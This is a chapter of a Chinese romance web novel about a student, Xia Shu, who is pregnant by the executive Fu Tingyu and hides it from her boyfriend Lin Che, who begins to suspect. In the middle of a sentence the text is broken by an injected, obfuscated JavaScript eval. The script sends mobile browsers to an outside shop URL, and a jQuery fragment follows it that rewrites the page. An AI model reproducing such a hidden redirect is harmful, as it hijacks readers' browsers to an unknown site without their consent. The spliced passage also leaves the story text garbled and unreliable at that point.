“这个孩子,真的是我的?”
“会不会搞错了?”
夏纾瞪着他的那双眼逐渐发红,眼泪已经在打转,死死憋着不肯落下,她不想在他面前表现脆弱。
他这话是什么意思,难道她还和很多人发生过关系吗?夏纾被他这几句话狠狠刺痛。
巨大的耻辱感和愤怒直冲天灵盖,她忍不了了!
“啪——”
一声清脆又响亮的巴掌声,响彻整个办公室。
一巴掌直直落在傅廷御脸上,力道之大,他白皙的脸颊瞬间浮现出几道清晰的红痕。
“我真希望不是你的!”夏纾力吼,委屈和倔强写在脸上,太阳穴甚至暴起青筋。
她的嘶吼犹如困兽,被天意囚禁在宿命之笼里做无谓之斗。
傅廷御猝不及防被打了一巴掌,他瞬间暴怒,吃痛地摸了摸发烫的脸颊,刚想发火,看着眼前的女孩,一下子心软了,深呼一口气,强压下怒火。这是他人生中第一次被打巴掌。
空气凝固了几秒。
他像是忽然想通了什么,紧绷的神情缓缓舒展,抬眼望向夏纾,甚至还带着一抹浅淡的微笑。
这抹笑让夏纾心里发毛。这人变态啊?被打了居然还笑。
这时,突兀的手机铃声打破僵局。
夏纾掏出手机,是林澈。
一瞬间她慌乱了。她的男朋友就在这栋写字楼上班,可她此刻却在密闭的办公室里,和另一个男人讨论他们的孩子,这幅画面,怎么看都像是偷情。
深呼气,镇定心绪,夏纾按下接听键。
“喂,澈。”
“珊,你在哪里?”
夏纾心虚,顿了两秒,含糊道:“我……我在图书馆呢。”
“哦,是吗?今天怎么不跟雨婷逛街放松一下?”
夏纾抬眼,恰好对上傅廷御那双深邃的眼眸。他正似笑非笑地盯着她,偷情感真的很重,她更心虚了。
于是便恶狠狠回瞪他,继续对着听筒轻声回道:“雨婷最近忙着自己的事,而且我挺喜欢图书馆安安静静的氛围。”
“好吧。珊,我很想你。”
本该回复也很想他的夏纾迟疑了,因为此刻的场景太暧昧又太狼狈,让她无法面对男友的深情,只觉得别扭尴尬,最后只敷衍了句“我也是。”草草了事。
林澈又絮絮说了几句温柔的情话和日常琐事,两人才挂断了电话。
一抬头,傅廷御已然逼近。
他高大的身影微微俯身,眼神是全然的认真。
“别担心,这件事,你想怎么做,我都陪着你。我会好好照顾你,所有责任,我一人承担。”
他靠得很近,温热的呼吸轻轻扫过她的耳边,低沉的嗓音在此刻竟然温柔得不像话。不像他了。
夏纾不太适应他突如其来的温柔,心头微乱,别过脸躲开他的视线。
赌气地小声说:“本来就该你承担。”
傅廷御轻笑,继续说:“留下来吧。待在我身边,不管你要做什么,我都能提供最顶级的资源,你在我身边,我才放心。”
夏纾垂下眼,像是毛线球般的思绪缠绕在心口。
她不敢承认,她心底知道他说的是对的。
当晚,如果梦境是真的,那就是她主动亲的他,主动求他留下来的。现在出了事,自己也并非全然无辜。
他们是共犯,是一同藏着秘密的人。
她心底甚至藏着一份阴暗的侥幸,庆幸这件事有他一同承担,还能把责任都推给他,他也能陪着自己悄悄抹平痕迹。更何况,以他的能力,确实能轻易让一切随风消散。就像删除造谣帖子一样。
这份自私又隐秘的心思,让夏纾忍不住自嘲。自己竟然庆幸孩子爸爸是傅廷御。
但她不想落于下风,依旧不饶人。
于是开口刺痛他:“怎么留下来?我有男朋友。”
她不好过,他也别想全身而退。既然是共谋,那就一起承受这份痛苦。
果然,傅廷御眼神微动,收起微笑,眼神复杂。沉思了几秒。
精准反击,一击毙命:“可是你有我的孩子。”
夏纾噎住。
她咬着唇,依旧不肯示弱,硬邦邦地回:“很快就没有了。”
她以为一向强势的傅廷御,一定会继续反驳,再度抢占上风。
可预想的对抗没有到来。
他的神情突然软了下来,缓缓抬手,想伸手触碰她的脸,还未抵达,最终还是克制隐忍地轻轻收回。
“对不起,小纾。”
他眼神里满是怜惜与愧疚,语气十分温柔。
夏纾鼻尖猛地一酸。
从踏入这间办公室开始,一直强压着害怕的情绪,故作坚强,每一句都表现出攻击性,其实自己内心慌的要命,害怕的要死。
可此刻,所有伪装和心防在温柔和理解面前全部击碎。
她眼神变软,终于失控,泪水簌簌落下。
傅廷御见状,心里也有几分不忍,更多是心疼。他轻轻抱住她,用宽大温热的手掌拍着她的后背,动作轻柔,不断安抚。
夏纾没有挣扎。
她任由自己短暂沉沦,就片刻就好。
这一刻,全世界仿佛只剩他们两人。他们是共享秘密的共犯,是坠入禁忌深渊的亡命鸳鸯,背负着不可言说的错误,是偷吃禁果的亚当夏娃,共同等待上天降下神罚。
天长地久有时尽,此恨绵绵无绝期。
情绪平复后,夏纾轻声说,她需要时间好好考虑,再决定要不要搬出去住一段时间做手术。
傅廷御没有勉强,安静听完她的想法,最后亲自开车,将她送回了学校。
-
这段时间,林澈被工作和家事弄得有点焦头烂额。
他名义上还只是公司的实习生,手里的活儿却压得比正式员工还要多,家里父亲的工厂出了纰漏,麻烦不断,家人整日的焦虑和抱怨压得他喘不过气。
本以为两周前的转正是美好的开端,现在似乎有一种登高跌重的感觉。
结束出差回公司上班的第一天,这种隐隐的不安感还萦绕在他心头,挥之不去。
他借着出门买咖啡的空档想透口气,返回公司时,目光无意间一扫,脚步顿住。
公司大楼门口立着一个纤细的身影,身形、侧脸的轮廓、走路的姿态,都太过熟悉了。
是珊珊。不过她怎么戴了口罩和帽子。
林澈正准备上前,却发现公司的一个高管向她走过来,带着她转身走进了一旁仅限高层使用的专属电梯。
不对劲。太不对劲了。
珊珊从没来过他上班的公司,更不可能认识顶层高管,怎么会突然出现在这里,还去了高层专属办公区?
他脑子里乱糟糟的,本想跟上去。但是高层电梯权限森严,他一个普通实习生硬闯上去恐怕不可能,再说现在还没搞清楚状况,他只能先压下疑虑,回到工位。
或许是自己看错了?
猜忌生根,自欺难安。思来想去,还是不放心,他掏出手机给夏纾打了一通电话。
“珊,你在哪里?”
“我......我在图书馆。”
图书馆?
林澈心口猛地一沉。
他刚刚明明亲眼在公司门口看到了她,不过才十几分钟,根本不可能瞬间赶到图书馆。难道真的是他眼花了?还是……她在骗他?
他压着情绪,照常和她随意寒暄了几句,挂断电话后,心里密密麻麻发慌,有一种说不上来的奇怪。
一上午都没心思工作了,脑子里全在胡思乱想。他一直盯着窗外发呆,目光空洞涣散。
不知过了多久,楼下熟悉的身影再度闯入视线,林澈的心狂跳。
大楼外停车位旁,傅廷御一身正装,身姿挺拔,正拉开车门,带着一个女孩弯腰坐进车里。
那个侧脸,那个身形,他绝不会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699936|208114||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
认错。
就是夏纾。
胸腔里的怒火瞬间冲破所有克制,轰然炸开。林澈浑身紧绷,猛地一下从工位上站起身,椅子在地面划出一道刺耳的声响。
旁边的同事被他突如其来的动作吓了一跳,连忙开口:“怎么了,林澈?”
他全然无视,径直跑下楼。
可惜,还是来晚一步。
黑色的豪华轿车已然驶离办公楼,汇入车流,转眼就走远了。
林澈赶忙掏出手机,疯狂拨打夏纾的电话,听筒里却只有单调冰冷的忙音,一遍又一遍,无人接听。
不好的预感愈演愈烈。
她为什么要骗他?为什么会单独坐上傅廷御的车?
刚刚两人相处的状态自然又熟悉,绝对不是初次见面。可连自己和傅廷御,也仅仅是在公司庆功宴包厢内见过一面而已。
他们到底是什么时候扯上交集的?
庆功宴……
林澈脑子里的弦骤然绷紧,所有细碎的线索瞬间串联起来,思维轰然炸开。
他想起自己提前回来给她惊喜,但珊珊看见自己,没有半点开心,而是生气,还有她当时赌气说的那句——要不是你,我根本不会去那场庆功宴。
或许就是那场庆功宴?自己被叫走后,发生了什么?
他握紧拳头,火气席卷全身。一定发生了什么,在他不在的两周,一定还发生了什么。
他跌坐在台阶,思绪杂乱。最粗暴直接的想法就是傅廷御和自己女朋友发生了越界的行为,可他立刻强行压下这个念头,他不愿意用龌龊的想法去揣测珊珊,仅仅是同坐一辆车而已,无端联想和造谣有什么区别?
他一直坚信自己和珊珊的感情。她绝对不会背叛自己,并且她虽然看似单纯,但绝不软弱,骨子里有自己的倔强和底线,旁人绝对无法强迫她,这里面,一定有误会。
林澈大口喘着气,拼命强迫自己镇定下来。
哪怕亲眼撞见她撒谎、亲眼看见她和别的男人独处离开,但他依然固执地坚信,这三年的感情,是百分之百的肯定。
他硬生生压下对夏纾的猜忌,甚至在内心谴责自己对她有不信任的想法。这不应该。
心神慢慢镇定。但身体却骗不了人,他的手指止不住发抖。
他缓缓走回公司大厅的沙发坐下,双眼放空,茫然等待着,其实他也不知道在等什么。
-
不知过了多久,傅廷御身着一袭剪裁利落的高定正装从容踏入公司大堂,气场裹挟着压迫感扑面而来,身姿矜贵,气质不凡。一旁的助理立刻快步上前迎接。
林澈猛地回神,几乎是瞬间起身,快步冲了过去。
就在电梯门即将关上的前一秒,他伸手抵住门缝,正要走进去。
傅廷御身边的特助反应过来,立马想请他出去,因为此电梯专供特定人群使用,且只到达特定楼层,眼前这个长相青涩的男大学生模样的人,自然不归属这里。
傅廷御抬眼撇了一眼林澈,示意特助不要拦人,让他进来。
林澈感到更加奇怪,一股不好的念头涌上心头,这个男人似乎认识自己,甚至预判自己要来找他。
林澈走进电梯,特助按下顶层楼层,电梯缓缓上升。
空间内一片死寂。
电梯虽然只有他们三个人,但林澈几乎要憋得停止呼吸。压抑,不适,尴尬,愤怒将他在这个狭小的空间反复捶打,他产生出一种即争强又自卑的复杂情绪。
整部电梯俨然成了一口持续加压的高压锅,林澈在其中受尽煎熬。
傅廷御缓缓开口打破死寂,从容淡定地吩咐他身旁的助理:“安排人今天把南区顶层公寓打扫出来,我女朋友今天要搬过去住。”
“好的,傅总。”
林澈心乱了,“女朋友”三个字,轻飘飘落进耳朵里,却像三根尖锐的细针,狠狠扎进林澈的心脏,高压要爆炸了。
这个女朋友,是谁?